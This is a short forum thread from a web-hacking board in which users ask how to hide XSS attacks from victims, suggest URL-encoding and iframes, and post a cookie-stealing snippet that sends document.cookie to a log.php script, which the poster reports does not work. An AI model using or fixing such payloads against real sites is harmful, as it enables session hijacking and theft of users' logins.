Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Hidding XSS exploits

  1. Home
  2. Forum
  3. Web hacking
  4. Hidding XSS exploits

ghost's Avatar

ghost

0 0

So we all know that window.location is too obviously, so what is better option for hidding xss exploit?


ghost's Avatar

ghost

0 0

you can obfucate the text, turn it into %25%37%93 …. etc.


ghost's Avatar

ghost

0 0

Sure I know I can encode url. Somewhere I read about using iframes for xss. Do I create iframe on the same page where is xss and than create target frame or what??


ghost's Avatar

ghost

0 0

I found this one in hts forum, but don't work for me?

markupi=new image; i.src='log.php?c='+document.cookie

In javascript console I get image not defined error Anybody have idea what is wrong?